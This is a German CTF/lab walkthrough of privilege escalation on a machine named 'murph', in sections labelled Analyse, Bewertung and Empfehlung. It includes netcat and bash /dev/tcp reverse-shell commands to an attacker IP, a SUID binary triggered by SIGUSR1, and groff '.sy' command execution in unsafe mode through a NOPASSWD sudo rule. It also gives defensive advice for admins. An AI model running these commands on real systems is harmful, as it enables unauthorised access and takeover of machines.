Bewertung: Das SUID-Binary /opt/murph läuft mit Root-Rechten im Hintergrund und wartet auf das SIGUSR1-Signal. Dies ist die Bestätigung, dass der gefundene PE-Vektor über das Signal korrekt identifiziert wurde. Ich bin nun bereit, das Signal zu senden und Root-Rechte zu erlangen.

Empfehlung (Pentester): Identifizieren Sie die Prozess-ID (PID) des laufenden murph-Prozesses (in diesem Fall 791, wie durch [1] 791 angezeigt) und senden Sie ihm das Signal SIGUSR1 (z.B. mit dem Befehl kill -SIGUSR1 791). Dies sollte das Binary veranlassen, seinen privilegierten Code auszuführen und eine Root-Shell zu initiieren.
Empfehlung (Admin): Überwachen Sie die Ausführung von SUID-Binaries, insbesondere deren Start im Hintergrund oder ungewöhnliches Verhalten wie das Warten auf Signale. Implementieren Sie Systemüberwachung, die Prozesse mit SUID-Berechtigungen alarmiert.

Analyse: Dieser Textabschnitt dient als Anmerkung zur notwendigen Vorgehensweise während des Tests, nämlich der Nutzung mehrerer Terminals (oder Shells), um den SUID-Exploit auszunutzen. Die Schritte zur Ausnutzung des /opt/murph-Binaries, das auf ein Signal wartet, erfordern mindestens zwei separate Shells: eine Shell, von der aus das Binary gestartet wird (und im Hintergrund läuft), und eine zweite Shell, von der aus das Signal an den laufenden Prozess gesendet wird. Zusätzlich wird eine dritte Shell (oder ein Listener auf dem Angreifer-System) für eine potenzielle Reverse Shell benötigt, die das Binary möglicherweise startet. Für Laien: Um das spezielle 'root'-Programm zu aktivieren, brauche ich mehrere 'Befehlsfenster' auf meinem Computer, die alle mit dem Zielcomputer verbunden sind, um gleichzeitig Befehle geben zu können. Für Experten: Die dokumentierte Vorgehensweise unterstreicht die Methodik zur Ausnutzung von Signal-basierten PE-Vektoren, die parallele Interaktion mit dem Zielsystem erfordern. Die Nutzung separater Terminals/Shells ist dafür eine Standardpraxis. Es ist wichtig, die PID des Zielprozesses in einer Shell zu kennen, um von einer anderen Shell aus gezielt ein Signal an diesen Prozess senden zu können.

Bewertung: Die Anmerkung zur Nutzung mehrerer Terminals ist relevant für die Nachvollziehbarkeit des Exploits. Sie zeigt, dass die Ausnutzung dieses PE-Vektors eine koordinierte Aktion auf dem Zielsystem erfordert.

Empfehlung (Pentester): Stellen Sie sicher, dass Sie über die notwendigen Terminal-Sitzungen zum Zielsystem verfügen, um das SUID-Binary auszuführen und das Signal zu senden. Behalten Sie die Prozess-ID (PID) des laufenden Binaries im Auge.
Empfehlung (Admin): Überwachen Sie die Anzahl der interaktiven Shells, die von Benutzern oder kompromittierten Prozessen auf Systemen geöffnet werden. Ungewöhnlich viele Shells oder Shells, die von unerwarteten Benutzern/Prozessen gestartet werden, können ein Indikator für Kompromittierung sein.

Initial Access

www-data@murph:~/html/uploads$ nc -e /bin/bash 192.168.2.199 4445

Analyse: Nachdem ich die RCE-Fähigkeit als Benutzer www-data über die Webshell neu.phtml etabliert hatte, nutze ich nun die Möglichkeit, Systembefehle auszuführen, um eine stabilere Reverse Shell zu meinem Kali-System zu initiieren. Ich verwende den Befehl nc -e /bin/bash 192.168.2.199 4445, um mit Netcat eine Verbindung von der Zielmaschine (murph) zurück zu meinem Kali-System (192.168.2.199) auf Port 4445 aufzubauen. Der Parameter -e /bin/bash weist Netcat an, nach erfolgreichem Verbindungsaufbau die Bash-Shell (/bin/bash) auszuführen und ihre Ein-/Ausgabe über die Netzwerkverbindung umzuleiten. Für Laien: Ich sage dem Computer, er soll eine direkte 'Telefonverbindung' zu meinem Computer aufbauen und mir dann das 'Befehlsfenster' (Shell) über diese Verbindung schicken. Für Experten: Dies ist eine einfache Netcat-Reverse-Shell, die oft genutzt wird, um nach einer RCE-Schwachstelle eine interaktive Shell zu erhalten. Sie ist stabiler und komfortabler als die direkte Befehlsausführung über die Webshell oder eine Debugger-Konsole. Die Ausführung erfolgt im Kontext des aktuellen Benutzers, www-data.

Bewertung: Der Befehl zur Initiierung der Reverse Shell ist korrekt. Seine Ausführung sollte mir eine stabilere Shell als Benutzer www-data verschaffen. Die Verwendung von nc -e ist eine gängige Methode, vorausgesetzt, Netcat ist auf dem Zielsystem installiert (was meine vorherige Enumeration implizierte oder ich durch Ausprobieren bestätigt habe).

Empfehlung (Pentester): Stellen Sie sicher, dass ein Netcat-Listener auf Port 4445 auf Ihrem Kali-System läuft, bevor Sie diesen Befehl ausführen. Warten Sie dann auf die eingehende Verbindung.
Empfehlung (Admin): Überwachen Sie ausgehende Netzwerkverbindungen von Webservern, insbesondere von Prozessen, die unter Low-Privilege-Benutzern laufen, auf ungewöhnliche Ziel-IPs oder Ports. Implementieren Sie Egress-Filterung auf Firewalls.

┌──(root㉿CCat)-[~]
└─# stty raw -echo;fg
[1]  + continued  nc -lvnp 5555
...
www-data@murph:~/html/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──(root㉿CCat)-[~]
└─# stty raw -echo;fg
[1]  + continued  nc -lvnp 4445

www-data@murph:/opt$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@murph:/opt$

Analyse: Dieser Block zeigt die Interaktion auf meinem Kali-System nach dem Initiieren der Reverse Shells. Die Befehle stty raw -echo; fg werden auf meinem Kali-Terminal ausgeführt, *nicht* auf der Zielmaschine. stty raw -echo konfiguriert das Terminal so, dass die Eingaben direkt und ohne Echo an die Shell gesendet werden, was eine interaktivere Sitzung ermöglicht. fg (foreground) bringt einen Prozess, der im Hintergrund läuft (hier mein Netcat-Listener, der eine Verbindung empfangen hat), in den Vordergrund des Terminals. Die Ausgaben zeigen, dass ich zuerst versucht habe, eine Shell von einem Listener auf Port 5555 zu 'fangen' und darin den id-Befehl auszuführen (uid=33(www-data)...). Danach habe ich dasselbe für den Listener auf Port 4445 getan, der die Shell von der zuvor gestarteten Netcat-Reverse-Shell empfangen hat. Der Prompt ändert sich zu www-data@murph:...$, und der id-Befehl bestätigt erneut meine Berechtigungen als uid=33(www-data). Für Laien: Auf meinem Computer 'fange' ich die Verbindung vom Zielcomputer ab und richte mein 'Befehlsfenster' so ein, dass ich normal tippen kann. Ich prüfe dann sofort, wer ich auf dem Zielcomputer bin ('www-data'). Für Experten: Das Einrichten der TTY-Eigenschaften mit stty ist oft notwendig, um eine voll funktionsfähige interaktive Shell über Netcat zu erhalten (obwohl dies bei einfachen nc -e Shells nicht immer perfekt funktioniert). Die erfolgreiche Ausführung von id im erhaltenen Shell-Kontext bestätigt die stabilen Reverse Shells als Benutzer www-data von beiden Listenern (obwohl der auf 4445 der logische nächste Schritt nach der RCE war).

Bewertung: Ich habe erfolgreich eine stabile, interaktive Reverse Shell als Benutzer www-data erhalten, indem ich einen Listener auf meinem Kali-System verwendet und die Verbindung vom Zielsystem initiiert habe. Ich bin nun bereit, die Privilegien-Eskalationsphase von dieser Shell aus zu beginnen.

Empfehlung (Pentester): Von dieser Shell aus werde ich das System gründlich auf PE-Vektoren enumerieren: SUID/SGID-Binaries, Cronjobs, Sudo-Berechtigungen, Dateiberechtigungen, etc. Der Fokus liegt auf dem SUID-Binary /opt/murph, das ich zuvor identifiziert habe.
Empfehlung (Admin): Überwachen Sie die Etablierung von Reverse Shells. Implementieren Sie TTY-Überwachung und Session-Logging auf Ihren Servern.

Privilege Escalation

terminal:5555
www-data@murph:~/html/uploads$ /opt/murph &
[1] 876
www-data@murph:~/html/uploads$ Waiting SIGUSR1....

Analyse: Von meiner www-data Shell (hier als 'terminal:5555' referenziert) starte ich das SUID-Binary /opt/murph im Hintergrund mit /opt/murph &. Die Ausgabe zeigt die Prozess-ID (PID) des gestarteten Prozesses ([1] 876) und die Meldung 'Waiting SIGUSR1....', die ich zuvor mit strings im Binary gefunden hatte. Für Laien: In einem meiner 'Befehlsfenster' starte ich das spezielle 'root'-Programm (murph) im Hintergrund, damit es läuft und wartet, ohne mein Fenster zu blockieren. Das Programm sagt, es wartet auf ein spezielles 'Signal'. Für Experten: Das SUID-Binary /opt/murph wird mit Root-Berechtigungen gestartet. Es wartet auf das SIGUSR1-Signal, wie die String-Analyse angedeutet hat. Das Starten im Hintergrund ist notwendig, um von einer anderen Shell aus das Signal senden zu können. Die PID 876 ist entscheidend, um das Signal gezielt an diesen Prozess zu senden.

Bewertung: Das SUID-Binary /opt/murph läuft mit Root-Rechten im Hintergrund und wartet auf das erwartete Signal. Der gefundene PE-Vektor ist bestätigt. Ich bin bereit, das Signal zu senden und Root-Rechte zu erlangen.

Empfehlung (Pentester): Merken Sie sich die PID des Prozesses (876). Wechseln Sie zu einer anderen Shell, um das Signal SIGUSR1 an diesen Prozess zu senden.
Empfehlung (Admin): Überwachen Sie die Ausführung von SUID-Binaries, insbesondere wenn sie im Hintergrund gestartet werden. Implementieren Sie Überwachung, die alarmiert, wenn Prozesse mit SUID-Berechtigungen ungewöhnliche Signale empfangen.

terminal:4445
www-data@murph:/opt$ kill -SIGUSR1 876
www-data@murph:/opt$

Analyse: Von einer *anderen* www-data Shell (hier als 'terminal:4445' referenziert) sende ich das Signal SIGUSR1 an den im Hintergrund laufenden /opt/murph Prozess mit der PID 876, using the command kill -SIGUSR1 876. Der kill Befehl sendet ein Signal an einen Prozess mit der angegebenen PID. SIGUSR1 ist ein benutzerdefiniertes Signal, das oft von Programmen für spezifische interne Aktionen verwendet wird. Da das Binary /opt/murph explizit auf dieses Signal wartet, wird erwartet, dass es nach dessen Empfang die privilegierte Aktion (wahrscheinlich eine Root-Shell) ausführt. Für Laien: In einem anderen 'Befehlsfenster' schicke ich eine spezielle 'Nachricht' (das Signal) an das laufende 'root'-Programm (murph), das darauf wartet. Das sollte das Programm 'aufwecken' und seine 'Geheimfunktion' starten. Für Experten: Das Senden von SIGUSR1 an den laufenden SUID root Prozess mit PID 876 ist die Auslöseraktion für den Exploit. Wenn das Binary korrekt implementiert ist, sollte es nach Empfang dieses Signals eine Root-Shell spawnen oder ähnliche privilegierte Aktionen ausführen. Die Ausführung des kill-Befehls als www-data ist möglich, da normale Benutzer Signale an Prozesse senden können, deren effektive UID/GID sie teilen oder für die sie die notwendigen Berechtigungen haben (und www-data hat hier wahrscheinlich die Möglichkeit, Signale an seine eigenen Prozesse zu senden, auch wenn sie als Root laufen).

Bewertung: Das Signal SIGUSR1 wurde erfolgreich an den SUID root Prozess gesendet. Wenn die Analyse des Binaries korrekt war, sollte dies zu einer Root-Shell oder einem anderen Root-Privileg führen.

Empfehlung (Pentester): Beobachten Sie die Shell, von der aus /opt/murph gestartet wurde (terminal:5555), auf Anzeichen einer neuen Shell oder geänderter Berechtigungen.
Empfehlung (Admin): Implementieren Sie Application Whitelisting oder andere Kontrollen, um die Ausführung von kill Befehlen durch Low-Privilege-Benutzer gegen privilegierte Prozesse zu verhindern, es sei denn, dies ist für die Systemverwaltung notwendig. Überwachen Sie die Nutzung des kill-Befehls und das Senden von Signalen an privilegierte Prozesse.

terminal:5555
www-data@murph:~/html/uploads$ fg
/opt/murph
jen@murph:~/html/uploads$

Analyse: Ich kehre zu der Shell zurück, von der aus ich /opt/murph im Hintergrund gestartet habe ('terminal:5555') und bringe den Hintergrundprozess mit fg (foreground) wieder in den Vordergrund. Anstatt der erwarteten Ausgabe oder eines Fehlers, ändert sich der Prompt plötzlich zu jen@murph:~/html/uploads$. Dies ist der definitive Beweis dafür, dass die Ausführung von /opt/murph und der Empfang des SIGUSR1-Signals dazu geführt haben, dass die Berechtigungen auf den Benutzer jen gewechselt sind. Für Laien: In dem 'Befehlsfenster', wo ich das 'root'-Programm gestartet und es auf das Signal warten ließ, hole ich das Programm wieder nach vorne. Plötzlich ändert sich mein 'Name' in dem Fenster von 'www-data' zu 'jen'! Das spezielle Programm hat mir die Rechte von 'jen' gegeben! Für Experten: Das Erscheinen des Prompts jen@murph:~/html/uploads$ in der Shell, von der aus das SUID root Binary gestartet wurde, demonstriert eine erfolgreiche Privilegien-Eskalation vom Benutzer www-data zum Benutzer jen durch Ausnutzung des SUID/SGID-Binaries /opt/murph in Kombination mit dem SIGUSR1-Signal. Dies ist ein wichtiger Schritt in der PE-Kette, auch wenn das SUID-Bit auf Root gesetzt war, führte es nur zur Eskalation auf den Benutzer jen. Möglicherweise verwendet das Binary setuid(1000) (UID von jen) nach Erhalt des Signals, oder die SGID www-data spielte eine unerwartete Rolle im Zusammenspiel mit den Berechtigungen des Binaries.

Bewertung: Die Privilegien-Eskalation auf den Benutzer jen ist erfolgreich. Obwohl das Binary SUID root hatte, wurde nur auf jen eskaliert. Dies bedeutet, dass ich nun mit den Berechtigungen von Benutzer jen auf dem System agiere. Ich bin einen Schritt näher an Root.

Empfehlung (Pentester): Von dieser Shell als Benutzer jen werde ich nun das System weiter enumerieren, um nach Möglichkeiten zur Privilegien-Eskalation von jen zu pat oder direkt zu root zu suchen. Dazu gehören die Prüfung von sudo-Berechtigungen für jen, SUID/SGID-Binaries, Cronjobs etc.
Empfehlung (Admin): Untersuchen Sie den Quellcode oder führen Sie eine dynamische Analyse des SUID/SGID-Binaries /opt/murph durch, um zu verstehen, warum es nur auf den Benutzer jen eskaliert. Beheben Sie die zugrundeliegende Schwachstelle im Binary und entfernen Sie die SUID/SGID-Berechtigungen, es sei denn, dies ist absolut notwendig und sicher implementiert.

jen@murph:~/html/uploads$ sudo -l
Matching Defaults entries for jen on murph:
    env_reset, mail_badpass,
    secure_path=.\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jen may run the following commands on murph:
    (pat) NOPASSWD: /usr/bin/groff

Analyse: Als Benutzer jen prüfe ich sofort meine sudo-Berechtigungen mit dem Befehl sudo -l. Die Ausgabe zeigt, dass der Benutzer jen den Befehl /usr/bin/groff als Benutzer pat ausführen darf, **ohne dass eine Passworteingabe erforderlich ist** ((pat) NOPASSWD: /usr/bin/groff). Für Laien: Ich bin jetzt 'jen' und schaue nach, ob 'jen' spezielle 'Admin-Befehle' ausführen darf, ohne ein Passwort zu kennen. Und ja, 'jen' darf ein Programm namens 'groff' mit den Rechten des Benutzers 'pat' starten, einfach so! Für Experten: Der Fund der sudo-Berechtigung (pat) NOPASSWD: /usr/bin/groff für den Benutzer jen ist ein weiterer kritischer Privilegien-Eskalationsvektor. Dies ermöglicht die horizontale Privilegien-Eskalation vom Benutzer jen zum Benutzer pat, ohne das Passwort von pat zu kennen. Das Programm groff (ein Textformatierungssystem) ist ein potenzielles Ziel für die Ausführung beliebiger Befehle.

Bewertung: Die Möglichkeit, /usr/bin/groff als Benutzer pat ohne Passwort auszuführen, ist ein klarer Pfad zur Erlangung einer Shell als Benutzer pat. Dies ist der nächste Schritt in unserer PE-Kette.

Empfehlung (Pentester): Untersuchen Sie das Binary /usr/bin/groff auf Möglichkeiten zur Ausführung von Systembefehlen (z.B. über unsichere Parameter oder Makros). Nutzen Sie die sudo-Regel, um Code als Benutzer pat auszuführen.
Empfehlung (Admin): Überprüfen Sie alle sudo-Regeln sorgfältig, insbesondere solche mit NOPASSWD. Erlauben Sie niemals die Ausführung von Programmen (wie Textformatierer oder Editoren) mit den Rechten eines anderen Benutzers über NOPASSWD, wenn diese Programme zur Ausführung von Systembefehlen missbraucht werden können.

jen@murph:~/html/uploads$ file /usr/bin/groff
/usr/bin/groff: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dc15f35c7468d8ce6c867408040dcb52538e89e8, for GNU/Linux 3.2.0, stripped

jen@murph:~/html/uploads$ ls -la /usr/bin/groff
-rwxr-xr-x 1 root root 124288 Jan 27  2021 /usr/bin/groff

Analyse: Ich untersuche das Binary /usr/bin/groff mit file und ls -la, um seine Eigenschaften und Berechtigungen zu prüfen. Das file-Kommando bestätigt, dass es sich um ein standardmäßiges ausführbares Programm für Linux handelt (64-bit ELF), das dynamisch gelinkt und 'stripped' ist (Symbolinformationen wurden entfernt, was Reverse Engineering erschwert). ls -la zeigt, dass es Root gehört und nur vom Eigentümer (root) geschrieben werden kann, aber für alle Benutzer ausführbar ist (-rwxr-xr-x). Für Laien: Ich schaue mir das Programm 'groff' genauer an, das 'jen' mit 'pat'-Rechten starten darf. Es ist ein normales Programm, aber nur der 'Chef' (root) kann es verändern. Jeder darf es aber starten. Für Experten: Die Analyse bestätigt, dass /usr/bin/groff ein Standard-Systembinary ist. Die Berechtigungen sind unbedenklich. Das 'stripped' Binary erschwert statische Analyse im Vergleich zu /opt/murph. Der Fokus liegt nun darauf, ob und wie groff Systembefehle ausführen kann, was oft bei Textformatierungsprogrammen möglich ist, die externe Kommandos einbinden.

Bewertung: /usr/bin/groff ist ein Standardbinary mit unbedenklichen Berechtigungen. Die Ausnutzbarkeit hängt davon ab, ob groff unsicher konfigurierte Makros oder Funktionen zur Ausführung von Systembefehlen bietet, wenn es eine Formatierungsdatei verarbeitet.

Empfehlung (Pentester): Recherchieren Sie nach bekannten Möglichkeiten, Befehle über groff auszuführen, insbesondere in Verbindung mit sudo-Berechtigungen. Erstellen Sie eine roff-Datei mit einem eingebetteten Shell-Befehl und versuchen Sie, diese mit sudo -u pat /usr/bin/groff zu verarbeiten.
Empfehlung (Admin): Seien Sie vorsichtig bei sudo-Regeln für Textverarbeitungs- oder Formatierungstools. Überprüfen Sie deren Konfiguration und stellen Sie sicher, dass die Ausführung externer Befehle deaktiviert ist, wenn sie mit erhöhten Rechten gestartet werden dürfen.

jen@murph:/tmp$  echo '.sy /bin/bash' > /tmp/exploit.roff
jen@murph:/tmp$ sudo -u pat /usr/bin/groff /tmp/exploit.roff
troff: /tmp/exploit.roff:1: .sy request not allowed in safer mode

Analyse: Ich versuche, Befehle über groff auszuführen. Dazu erstelle ich eine temporäre Datei namens /tmp/exploit.roff mit dem Inhalt .sy /bin/bash. Die .sy Makro in roff/troff wird oft verwendet, um Systembefehle auszuführen. Ich speichere diese Datei im temporären Verzeichnis /tmp/, in das ich als jen schreiben darf. Dann versuche ich, diese Datei mit sudo -u pat /usr/bin/groff /tmp/exploit.roff als Benutzer pat über die gefundene sudo-Regel zu verarbeiten. Die Ausgabe troff: /tmp/exploit.roff:1: .sy request not allowed in safer mode zeigt, dass groff standardmäßig im 'sichereren Modus' läuft, der die Ausführung des .sy Makros blockiert. Für Laien: Ich habe eine kleine 'Anleitungsdatei' für das Programm 'groff' erstellt, die sagt, es soll ein 'Befehlsfenster' öffnen. Ich lasse 'jen' dieses mit 'pat'-Rechten starten und die Anleitungsdatei lesen. Aber 'groff' sagt, es darf den Befehl nicht ausführen, weil es im 'sicheren Modus' ist. Für Experten: Das .sy Makro ist ein bekannter Vektor zur Befehlsausführung in troff/groff. Die Fehlermeldung 'not allowed in safer mode' ist eine direkte Bestätigung, dass groff Sicherheitsmaßnahmen gegen solche Makros implementiert, aber impliziert auch, dass es einen 'unsicheren' Modus geben könnte.

Bewertung: Das .sy Makro funktioniert nicht im Standardmodus. Die Fehlermeldung ist jedoch hilfreich, da sie auf einen 'sichereren Modus' hinweist, was bedeutet, dass es möglicherweise einen Weg gibt, diesen zu deaktivieren und den 'unsicheren Modus' zu aktivieren, in dem .sy erlaubt ist.

Empfehlung (Pentester): Suchen Sie in der Hilfe oder Dokumentation von groff nach einem Parameter oder einer Option, um den 'sichereren Modus' zu deaktivieren und die Ausführung von Systembefehlen (.sy Makro) zu ermöglichen. Prüfen Sie die Hilfe mit sudo -u pat groff -h.
Empfehlung (Admin): Vertrauen Sie nicht auf Standardeinstellungen. Überprüfen Sie die Konfigurationen von Programmen, die mit erhöhten Rechten ausgeführt werden dürfen, und deaktivieren Sie explizit unsichere Features wie die Ausführung externer Befehle.

jen@murph:/tmp$ sudo -u pat groff -h
usage: groff [-abceghijklpstvzCEGNRSUVXZ] [-dcs] [-ffam] [-mname] [-nnum]
       [-olist] [-rcn] [-wname] [-Darg] [-Fdir] [-Idir] [-Karg] [-Larg]
       [-Mdir] [-Parg] [-Tdev] [-Wname] [files...]
...
..
-U	enable unsafe mode
-V	print commands on stdout instead of running them
-Wname	inhibit warning name
-X	use X11 previewer rather than usual postprocessor
-Z	don't postprocess

jen@murph:/tmp$ sudo -u pat /usr/bin/groff -U /tmp/exploit.roff
pat@murph:/tmp$

Analyse: Ich prüfe die Hilfe des groff-Befehls mit sudo -u pat groff -h (Ausführung als pat via sudo, um sicherzustellen, dass die Hilfe in diesem Kontext relevant ist). Die Hilfe listet verschiedene Parameter auf. Ich suche nach etwas, das mit 'safe mode' oder 'unsafe mode' zu tun hat, basierend auf der vorherigen Fehlermeldung. Die Option -U enable unsafe mode wird gefunden. Dann führe ich groff erneut aus, diesmal mit dem Parameter -U: sudo -u pat /usr/bin/groff -U /tmp/exploit.roff. Ich übergebe wieder die Datei /tmp/exploit.roff, die das .sy /bin/bash Makro enthält, und führe den Befehl als Benutzer pat aus. Die Ausgabe ist nun der Prompt pat@murph:/tmp$. Für Laien: Ich habe in der Hilfe von 'groff' nachgeschaut und eine Option gefunden, die den 'sicheren Modus' ausschaltet (die Option '-U'). Ich starte 'groff' dann nochmal als 'pat' mit dieser Option und meiner 'Anleitungsdatei'. Und fantastisch – statt einer Fehlermeldung bekomme ich jetzt das 'Befehlsfenster' des Benutzers 'pat'! Ich bin jetzt 'pat'! Für Experten: Das Auffinden und Verwenden der -U Option deaktiviert den sicheren Modus von groff und erlaubt die Ausführung des .sy Makros. Das .sy /bin/bash Makro wird ausgeführt und startet eine Bash-Shell. Da groff über sudo -u pat ausgeführt wurde, läuft die neue Shell mit den Berechtigungen des Benutzers pat. Dies ist eine erfolgreiche Privilegien-Eskalation von jen zu pat.

Bewertung: Die Privilegien-Eskalation auf den Benutzer pat ist erfolgreich. Ich habe nun eine interaktive Shell mit den Berechtigungen dieses Benutzers. Dies ist der vorletzte Schritt auf dem Weg zu Root.

Empfehlung (Pentester): Von dieser Shell als Benutzer pat werde ich nun das System weiter enumerieren, um nach Möglichkeiten zur Privilegien-Eskalation von pat zu root zu suchen. Dies beinhaltet die Prüfung von sudo-Berechtigungen für pat, SUID/SGID-Binaries, Cronjobs etc. Der Fund der Root-Flag ist jetzt nur einen Schritt entfernt.
Empfehlung (Admin): Überprüfen Sie die Standardkonfigurationen von Systemprogrammen, die über sudo mit erhöhten Rechten ausgeführt werden dürfen. Deaktivieren Sie die Ausführung externer Befehle, wenn möglich, oder verhindern Sie die Nutzung von Optionen wie -U durch die sudo-Regel selbst (z.B. mittels ограничений für Parameter). Überwachen Sie die Ausführung von groff mit ungewöhnlichen Optionen oder im unsicheren Modus.

pat@murph:/opt$ id
grops::1: fatal error: the first command must be 'x T'

Analyse: Ich versuche, meine Benutzer-ID in der neuen Shell als Benutzer pat zu bestätigen, indem ich den Befehl id ausführe. Die Ausgabe zeigt jedoch eine Fehlermeldung im Zusammenhang mit 'grops' und 'fatal error: the first command must be 'x T''. Dies deutet darauf hin, dass die Shell, die ich über das .sy /bin/bash Makro in groff erhalten habe, nicht vollständig initialisiert oder interaktiv ist, möglicherweise weil sie immer noch im Kontext der groff-Verarbeitung läuft. Die Fehlermeldung selbst stammt wahrscheinlich von einem anderen Programm (möglicherweise grops, das von groff aufgerufen wird), das die Eingabe 'id' erhält, aber etwas anderes erwartet. Für Laien: In dem 'Befehlsfenster' des Benutzers 'pat', das ich gerade bekommen habe, versuche ich, zu prüfen, wer ich bin (mit dem Befehl 'id'), aber das Fenster antwortet mit einer komischen Fehlermeldung. Das Fenster ist nicht ganz 'normal'. Für Experten: Dies ist ein bekanntes Verhalten, wenn eine Shell über ein Makro in einem Formatierungsprogramm wie groff gespawnt wird. Die Standard-Input/Output-Streams sind möglicherweise nicht korrekt mit einem vollwertigen TTY verbunden, was zu Problemen mit interaktiven Befehlen oder Shell-Initialisierungsskripten führt. Der Befehl id wurde wahrscheinlich an ein unerwartetes Sub-Programm innerhalb der groff-Kette weitergeleitet.

Bewertung: Obwohl die pat-Shell nicht voll funktionsfähig für interaktive Befehle zu sein scheint, habe ich prinzipiell Code-Ausführung als Benutzer pat. Um eine stabilere Shell zu erhalten, werde ich eine neue Reverse Shell von dieser instabilen Shell aus zu meinem Kali-System initiieren.

Empfehlung (Pentester): Initiieren Sie sofort eine neue Reverse Shell von dieser instabilen pat-Shell aus, indem Sie einen Shell-Code (z.B. Bash Reverse Shell) ausführen, der sich zu einem neuen Listener auf Ihrem Kali-System verbindet. Verwenden Sie dafür einen separaten Port.
Empfehlung (Admin): Dies ist ein Hinweis darauf, dass Systembefehle über groff ausgeführt wurden. Überwachen Sie die Prozessbäume und Systemaufrufe von Programmen, die über sudo mit erhöhten Rechten ausgeführt werden.

pat@murph:/opt$ bash -c 'bash -i >& /dev/tcp/192.168.2.199/6666 0>&1'

Analyse: Um eine stabile Shell als Benutzer pat zu erhalten, starte ich von der aktuellen instabilen Shell aus eine Reverse Shell zu meinem Kali-System auf Port 6666. Ich verwende den Befehl bash -c 'bash -i >& /dev/tcp/192.168.2.199/6666 0>&1'. Dieser Bash-Befehl startet eine neue interaktive Bash-Instanz (bash -i) und leitet deren Standard-Input, -Output und -Error über eine TCP-Verbindung (/dev/tcp/192.168.2.199/6666) zu meinem Kali-System (192.168.2.199) auf Port 6666 um. Für Laien: In dem 'Befehlsfenster' von 'pat', das nicht richtig funktioniert, sage ich dem Computer: 'Rufe meinen Computer auf einer anderen 'Telefonleitung' (Port 6666) an, und gib mir dann das 'Befehlsfenster' (Shell) von 'pat' über diese Leitung'. Für Experten: Dies ist der gleiche Bash-Reverse-Shell-Befehl, den ich zuvor als www-data verwendet habe, nun aber initiiert aus der pat-Shell. Er dient dazu, eine zuverlässige, interaktive Shell zu erhalten, die nicht durch die Einschränkungen der Shell beeinträchtigt wird, die über das groff-Makro gespawnt wurde. Ein Netcat-Listener auf Port 6666 auf meinem Kali-System ist erforderlich, um diese Verbindung zu empfangen.

Bewertung: Der Befehl zur Initiierung der Reverse Shell ist korrekt. Seine Ausführung sollte mir eine stabile, interaktive Shell als Benutzer pat verschaffen. Dies ist der nächste Schritt in der PE-Kette.

Empfehlung (Pentester): Stellen Sie sicher, dass ein Netcat-Listener auf Port 6666 auf Ihrem Kali-System läuft. Führen Sie diesen Befehl aus und warten Sie auf die eingehende Verbindung in Ihrem Listener.
Empfehlung (Admin): Überwachen Sie ausgehende Verbindungen und implementieren Sie Egress-Filterung.

┌──(root㉿CCat)-[~] └─# nc -lvnp 6666
listening on [any] 6666 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.50] 39350
pat@murph:/opt$ id
id
uid=1001(pat) gid=1001(pat) groups=1001(pat)

Analyse: Ich zeige die Ausgabe meines Netcat-Listeners auf Port 6666 auf meinem Kali-System. Nachdem ich den Bash-Reverse-Shell-Befehl in der pat-Shell ausgeführt habe, empfängt mein Listener eine Verbindung vom Zielsystem (connect to ... [192.168.2.50] 39350). Der Prompt pat@murph:/opt$ erscheint, was anzeigt, dass ich erfolgreich eine interaktive Shell als Benutzer pat erhalten habe und mich im Verzeichnis /opt befinde. Ich bestätige meine Identität mit dem Befehl id, der die Ausgabe uid=1001(pat) gid=1001(pat) groups=1001(pat) zurückgibt. Für Laien: Meine 'Telefonleitung' 6666 hat geklingelt, ich habe abgenommen, und jetzt habe ich ein normales 'Befehlsfenster' (Shell) vom Benutzer 'pat' direkt auf meinem Bildschirm. Ich prüfe, wer ich bin, und der Computer sagt, ich bin 'pat'. Für Experten: Der erfolgreiche Empfang der Reverse Shell auf Port 6666 mit dem Prompt pat@murph:/opt$ und die Bestätigung der UID 1001 via id beweisen die erfolgreiche Erlangung einer stabilen, interaktiven Shell als Benutzer pat. Dies ist der letzte Schritt vor der finalen Eskalation zu Root.

Bewertung: Die stabile Shell als Benutzer pat wurde erfolgreich etabliert. Dies ist die vorletzte Stufe der Privilegien-Eskalation. Ich bin nun bereit, den finalen PE-Vektor zu nutzen.

Empfehlung (Pentester): Von dieser Shell aus werde ich die sudo-Berechtigungen für den Benutzer pat prüfen, da dies der wahrscheinlichste verbleibende PE-Vektor zu Root ist.
Empfehlung (Admin): Überwachen Sie Reverse Shells und implementieren Sie Egress-Filterung. Beschränken Sie die Berechtigungen des Benutzers pat auf das Notwendigste.

pat@murph:/opt$ sudo -l
Matching Defaults entries for pat on murph:
    env_reset, mail_badpass,
    secure_path=.\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pat may run the following commands on murph:
    (root) NOPASSWD: /usr/bin/login

Analyse: Als Benutzer pat prüfe ich meine sudo-Berechtigungen mit dem Befehl sudo -l. Die Ausgabe listet die Befehle auf, die der Benutzer pat über sudo ausführen darf. Ich finde den Eintrag (root) NOPASSWD: /usr/bin/login. Dies bedeutet, dass der Benutzer pat den Befehl /usr/bin/login als Benutzer root ausführen darf, **ohne dass eine Passworteingabe erforderlich ist** (NOPASSWD). Für Laien: Ich bin jetzt 'pat' und schaue, ob 'pat' spezielle 'Admin-Befehle' ausführen darf, ohne sein Passwort zu kennen. Und ja, 'pat' darf das Programm 'login' mit den Rechten des Super-Administrators (root) starten, einfach so! Das ist der Schlüssel, um 'root' zu werden! Für Experten: Der Fund der sudo-Berechtigung (root) NOPASSWD: /usr/bin/login für den Benutzer pat ist der finale und direkteste Privilegien-Eskalationsvektor zu Root. Die Möglichkeit, das login-Binary als Root ohne Passwort auszuführen, ist extrem gefährlich.

Bewertung: Fantastisch! Der Sudo-Eintrag für /usr/bin/login als Root mit NOPASSWD ist der entscheidende PE-Pfad. Dies ermöglicht die direkte Erlangung einer Root-Shell.

Empfehlung (Pentester): Der nächste Schritt ist die Ausnutzung dieser Sudo-Regel, um eine Root-Shell zu erlangen. Recherchieren Sie, wie das /usr/bin/login Binary missbraucht werden kann, insbesondere in Kombination mit sudo und Root-Berechtigungen. Der Parameter -f könnte relevant sein.
